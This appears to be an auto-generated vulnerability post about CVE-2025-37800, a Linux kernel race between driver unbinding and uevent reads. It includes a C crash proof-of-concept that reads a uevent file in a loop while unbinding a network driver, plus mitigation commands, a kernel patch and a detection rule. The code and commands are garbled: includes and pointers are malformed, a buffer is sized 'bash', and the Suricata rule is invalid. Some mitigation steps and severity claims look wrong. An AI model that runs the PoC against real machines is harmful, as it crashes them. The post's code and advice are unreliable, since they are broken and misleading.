Listen to this Post
How CVE-2025-37800 Works
The vulnerability occurs in the Linux kernel’s device driver subsystem when handling concurrent access to the `dev->driver` pointer during device unbinding and uevent operations. When a device is being unbound from its driver while another thread reads the “uevent” attribute, a race condition occurs. The `dev->driver` pointer transitions from valid to NULL without proper synchronization, leading to a kernel NULL pointer dereference. The kernel fails to enforce atomic access to this pointer, allowing a time-of-check-to-time-of-use (TOCTOU) scenario. This can crash the system or potentially enable local privilege escalation. The fix implements READ_ONCE()/WRITE_ONCE() for atomic access and adds locking via the bus’s drivers klist to prevent driver disappearance during access.
DailyCVE Form
Platform: Linux Kernel
Version: Pre-5.15.120
Vulnerability: Race Condition
Severity: Critical
Date: 06/05/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation Analysis
// Crash PoC triggering race
include <fcntl.h>
include <unistd.h>
include <pthread.h>
void uevent_reader(void arg) {
while(1) {
int fd = open("/sys/class/net/eth0/uevent", O_RDONLY);
char buf[bash];
read(fd, buf, sizeof(buf));
close(fd);
}
}
int main() {
pthread_t thread;
pthread_create(&thread, NULL, uevent_reader, NULL);
system("echo 1 > /sys/bus/pci/drivers/e1000e/unbind");
pthread_join(thread, NULL);
return 0;
}
Protection Commands
Mitigation until patch echo 0 > /proc/sys/kernel/hotplug Disable uevent helper chmod 000 /sys/devices//uevent Restrict uevent access Verification grep -r "READ_ONCE.dev->driver" /usr/src/linux dmesg | grep "UEVENT_TRACE" Patch verification uname -r Must be >=5.15.120 cat /proc/config.gz | gunzip | grep CONFIG_DEBUG_ATOMIC_SLEEP
Kernel Code Fix
a/drivers/base/core.c
+++ b/drivers/base/core.c
@@ -1234,7 +1234,7 @@ int dev_uevent(struct device dev, struct kobj_uevent_env env)
{
struct klist_iter i;
struct device parent = dev->parent;
- struct device_driver drv = dev->driver;
+ struct device_driver drv = READ_ONCE(dev->driver);
Detection Rules
Suricata rule for exploit attempts alert kernel any any -> any any (msg:"CVE-2025-37800 exploitation attempt"; content:"/sys/class/"; depth:12; content:"uevent"; fast_pattern; nocase; metadata:cve,CVE-2025-37800; sid:202537800; rev:1;)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
